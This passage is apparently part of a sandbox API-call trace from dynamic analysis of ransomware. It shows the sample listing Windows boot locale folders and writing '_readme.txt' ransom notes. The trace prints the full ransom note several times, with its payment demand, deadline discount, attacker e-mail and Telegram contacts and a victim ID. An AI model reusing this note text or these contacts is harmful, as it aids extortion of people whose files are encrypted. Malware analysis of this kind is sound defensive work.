restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.393] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.393] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\_readme.txt" (normalized: "c:\\boot\\hu-hu\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.393] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.393] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.393] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.393] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.393] FindFirstFileW (in: lpFileName="C:\\Boot\\hu-HU\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.402] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.402] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.402] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.402] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.402] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.402] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.402] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.403] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.403] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.403] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.403] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.403] PathFindFileNameW (pszPath="") returned="" [0116.403] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.403] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.404] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.404] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.404] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.404] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0116.404] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.404] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.404] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0116.405] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.405] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.405] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.405] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.405] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.405] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.405] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.405] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.405] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.405] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.406] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.406] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.406] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.406] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.406] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.406] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.406] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.407] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.407] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 